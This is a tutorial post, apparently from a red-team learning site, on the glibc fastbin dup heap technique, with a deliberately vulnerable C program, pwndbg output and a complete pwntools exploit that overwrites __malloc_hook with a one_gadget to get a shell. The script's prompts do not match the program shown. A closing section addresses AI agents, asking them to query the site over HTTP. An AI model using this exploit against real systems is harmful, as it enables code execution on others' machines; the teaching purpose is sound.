# Heap - Fastbin Dup

## Introduction

Fastbin duplication is a classic heap exploitation technique that leverages from the way glibc's malloc implementation manages small memory chunks. This post demonstrates the attack step-by-step using pwndbg to visualize heap internals.

### Vulnerable Code

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// compile with
// gcc -no-pie -Wl,-z,norelro -z now -ggdb test.c -o test
// Get this code from https://www.bordergate.co.uk/heap-fastbin-exploitation/
struct test {
   char test[30];
} tests;
 
struct user {
   char  username[16];
   char  target[16];
} users;
 
int main () {
                        
strcpy( users.target, "TARGET");
 
char *m_array [8];
 
m_array[0] = (char *)0x0;
m_array[1] = (char *)0x0;
m_array[2] = (char *)0x0;
m_array[3] = (char *)0x0;
m_array[4] = (char *)0x0;
m_array[5] = (char *)0x0;
m_array[6] = (char *)0x0;
m_array[7] = (char *)0x0;
 
setvbuf(stdout,(char *)0x0,2,0);
 
printf("Enter username: ");
 
read(STDIN_FILENO, users.username, 0x10);
 
  int i;
  int ChunkNumber = 0;
  for (i = 1; i < 20; ++i)
  {
      int selection;
      printf( "Target : %s\n", users.target);
      printf("Next chunk number: %d/7 \n", ChunkNumber);
 
     
      printf("1) malloc\n");
      printf("2) free\n");
      printf("3) quit\n");
      printf(">");
      scanf("%d", &selection);
 
      fflush (stdin);
  switch(selection){
 
    int mallocSize;
    char inputData[256];
     
    case 1:
      printf ("malloc size: \n");
      scanf("%d", &mallocSize);
 
      printf ("input data: \n");
      scanf("%s", inputData);
 
      // Allocate heap memory chunk. Size based on previous user input
      char *heapChunk;
      m_array[ChunkNumber] = (char *) malloc(mallocSize);
      strcpy(m_array[ChunkNumber],inputData);
 
      printf("chunk allocated: %d/7 \n", ChunkNumber);
 
      ChunkNumber++;
      break;
    case 2:
      printf("Select chunk to free: ");
      scanf("%d", &selection);
      printf("Freeing chunk: %d\n", selection);
      free(m_array[selection]);
      break;
    case 3:
        exit(0);
      break;
    default:
      printf("Invalid selection\n");
      break;
  }
 
  }
    
  return(0);
}
```

#### Target Code Analysis

```cpp
struct user {
   char  username[16];
   char  target[16];
} users;
```

Our target is to overwrite `users.target`  (initially "Target") with arbitrary data, ultimately achieving code execution.

<mark style="color:red;">**Vulnerability**</mark>&#x20;

The code has several critical vulnerabilities:

1. No bounds checking on malloc size.
2. Use-after-free-chunks can be freed but pointers remain in `m_array`
3. Double-free - same chunk can be freed multiple times.
4. Heap overflow - `strcpy` has no size validation.

### Understanding Fastbins

#### What are Fastbins?

Fastbins are singly-linked lists that cache small freed chunks (16-80 bytes on x64) for quick reallocation. Key characteristics:

* **LIFO structure** (Last In, First Out)
* **No coalescing** with adjacent chunks
* **Fast allocation/deallocation**
* **Single-linked list** using fd (forward) pointer

#### Fastbin Structure

```
Fastbin[0]: HEAD -> chunk1 -> chunk2 -> NULL
                    [fd ptr]   [fd ptr]
```

### Exploitation Steps

#### Step 1: Initial Setup

Start the program and enter username:

<figure><img src="/files/2ODwfVSdYAlV7B11MUJv" alt=""><figcaption></figcaption></figure>

#### Step 2: Allocate Chunks in Fastbin Range

Allocate three chunks of size 0x18 bytes (fastbin size):

<figure><img src="/files/WsG5h0ElwbBrHhKBaT5X" alt=""><figcaption></figcaption></figure>

**pwndbg inspection:**

<figure><img src="/files/Ftq4JT0AvMgIRF7yKtmO" alt=""><figcaption></figcaption></figure>

#### Step 3: Create Fastbin Dup

Free chunk 0, then chunk 1, then chunk 0 again:

<figure><img src="/files/gAPnfQlbPUwcx7emxTx0" alt=""><figcaption></figcaption></figure>

**pwndbg after double-free:**

```cpp
pwndbg> fastbins 
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000 (circular!)
      ▲ Chunk 0   ▲ Chunk 1   ▲ Chunk 0 AGAIN
       (HEAD)
pwndbg> x/4xg 0x603000
0x603000:	0x0000000000000000	0x0000000000000021 ← fd pointer
0x603010:	0x0000000000603020	0x4141414141414141
pwndbg> x/4xg 0x603020
0x603020:	0x4141414141414141	0x0000000000000021 ← fd points back
0x603030:	0x0000000000603000	0x4242424242424242

```

#### Step 4: Arbitrary Write Setup

Now we have chunk 0 appearing twice in the fastbin. Next allocations will return:

1. First malloc → Chunk 0
2. Second malloc → Chunk 1
3. Third malloc → Chunk 0 again!

Allocate chunk 0 and overwrite its fd pointer with target address:

<figure><img src="/files/Z2dFS6F9OgpWIfFRj2zG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Vhwfp1BJ8g1k8rsjOkP0" alt=""><figcaption></figcaption></figure>

#### Step 5: Overwrite Target

<figure><img src="/files/IUp3nhsX7LnTDsrw3e8Z" alt=""><figcaption></figcaption></figure>

**pwndbg verification:**

<figure><img src="/files/ZJgn844P8fokuDWANqQb" alt=""><figcaption></figcaption></figure>

### Code Execution

Final exploit script:

```python
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("fastbin_dup")
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Index of allocated chunks.
index = 0

# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
    global index
    io.send(b"1")  # Send '1' as byte
    io.sendafter("size: ", f"{size}".encode())  # Convert size to bytes
    io.sendafter("data: ", data)  # Assuming data is already bytes (if not, convert it)
    io.recvuntil("> ".encode())  # Convert '>' to bytes
    index += 1
    return index - 1

# Select the "free" option; send index.
def free(index):
    io.send(b"2")  # Send '2' as byte
    io.sendafter("index: ", f"{index}".encode())  # Convert index to bytes
    io.recvuntil("> ".encode())  # Convert '>' to bytes

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ".encode())  # Convert string to bytes
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.timeout = 0.1

# =============================================================================

# Set the username field.
username = "t3nb3w"
io.sendafter("username: ", username)
io.recvuntil("> ".encode())  # Convert '>' to bytes

# Request two 0x30-sized chunks and fill them with data.
chunk_A = malloc(0x68, b"A" * 0x68)  # Use bytes for the data
chunk_B = malloc(0x68, b"B" * 0x68)  # Use bytes for the data

# Free the first chunk, then the second.
free(chunk_A)
free(chunk_B)
free(chunk_A)

dup = malloc(0x68, p64(libc.sym.__malloc_hook - 35)) # Found through find_fake_fast
malloc(0x68, b"Y" * 0x68)  # Use bytes for the data
malloc(0x68, b"T" * 0x68)  # Use bytes for the data
malloc(0x68, b"X" * 0x13 + p64(libc.address + 0xe1fa1))  # found via ROP 
malloc(1, b"")  # Trigger execve()

# =============================================================================

io.interactive()

```

This exploit performs a **fastbin dup attack** to overwrite `__malloc_hook` with a one\_gadget address, giving you a shell when malloc is called.

#### Detailed Breakdown

#### 1. **Chunk Size: `0x68` (104 bytes)**

```python
chunk_A = malloc(0x68, b"A" * 0x68)
```

**Why 0x68?**

* User requests 0x68 (104) bytes
* Malloc adds 0x10 (16) bytes of metadata (prev\_size + size)
* Total chunk size = 0x68 + 0x10 = **0x78** (120 bytes)
* This falls into the **0x70 fastbin** (fastbin sizes: 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80)

We chose this size strategically to:

1. Stay in fastbin range (faster, less security checks)
2. Match a fake chunk size near `__malloc_hook`

#### 2. **Offset: `-35` bytes**

<figure><img src="/files/PyDW1qU1k5Vdbp2Slp5V" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YKeOhudxezgcBT7rOPXA" alt=""><figcaption></figcaption></figure>

Finding the offset:

The value `0x7f` (127 in decimal) appears naturally in libc memory, and it matches fastbin size **0x70**!

**Calculation:**

* `__malloc_hook` is at offset `+0x10` from chunk start (after metadata)
* We need to point to where size field (`0x7f`) appears
* If `0x7f` is at `__malloc_hook - 0x23` (35 bytes before)
* Then our fake chunk starts at `__malloc_hook - 0x23 - 0x10` = `__malloc_hook - 0x33`

&#x20;But since we target the fd pointer location (which is at `chunk + 0x10`), we use `__malloc_hook - 35`

#### 3. **Payload Size: `0x13` (19 bytes)**

````python
malloc(0x68, b"X" * 0x13 + p64(libc.address + 0xe1fa1))
```

**Why 19 bytes of padding?**

When we allocate at our fake chunk:
```
Fake chunk layout:
[offset 0x00] prev_size (8 bytes)
[offset 0x08] size: 0x7f (8 bytes)
[offset 0x10] user data starts...
[offset 0x13] more data...
...
[offset 0x23] __malloc_hook location ← We want to write here!
````

**Math:**

* `__malloc_hook` is at offset `0x23` (35 bytes) from fake chunk start
* User data starts at offset `0x10` (16 bytes)
* Distance = `0x23 - 0x10 = 0x13` (19 bytes)
* So we need 19 bytes of junk, then our one\_gadget address

#### 4. **One\_gadget: `0xe1fa1`**

**What is this?**

This is a **one\_gadget RCE** - a single gadget in libc that executes `execve("/bin/sh", NULL, NULL)` when called.

**How to find it:**

<figure><img src="/files/YJirEgHt0GQfZf2VqBk9" alt=""><figcaption></figcaption></figure>

The exploit uses `0xe1fa1` because it has constraints that are satisfied when malloc is called.

And with this we get a shell:

<figure><img src="/files/ebFkRBwQ4e4GIxwJf4DE" alt=""><figcaption></figcaption></figure>

#### pwndbg Commands Cheat Sheet

```c
# Heap overview
heap chunks               # List all heap chunks
heap bins                 # Show all bins (fast, small, large, unsorted)
fastbins                  # Show fastbin state specifically

# Detailed inspection
x/20gx ADDRESS           # Examine memory (8-byte words)
vis_heap_chunks          # Visual heap representation

# Finding targets
got                      # Show GOT entries
vmmap                    # Memory mapping
search -t string "TARGET" # Search for strings

# Breakpoints for analysis
break *main+XXX          # Break at specific offset
watch *(void**)ADDRESS   # Watch memory changes
```

### Conclusion

Fastbin dup exploitation demonstrates the importance of proper memory management. While modern mitigations make these attacks harder, understanding the fundamentals helps in both offensive security and defensive programming.

## References

{% embed url="<https://www.bordergate.co.uk/heap-fastbin-exploitation/>" %}

{% embed url="<https://www.udemy.com/course/linux-heap-exploitation-part-1/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mohamed-fakroud.gitbook.io/red-teamings-dojo/binary-exploitation/heap-fastbin-dup.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
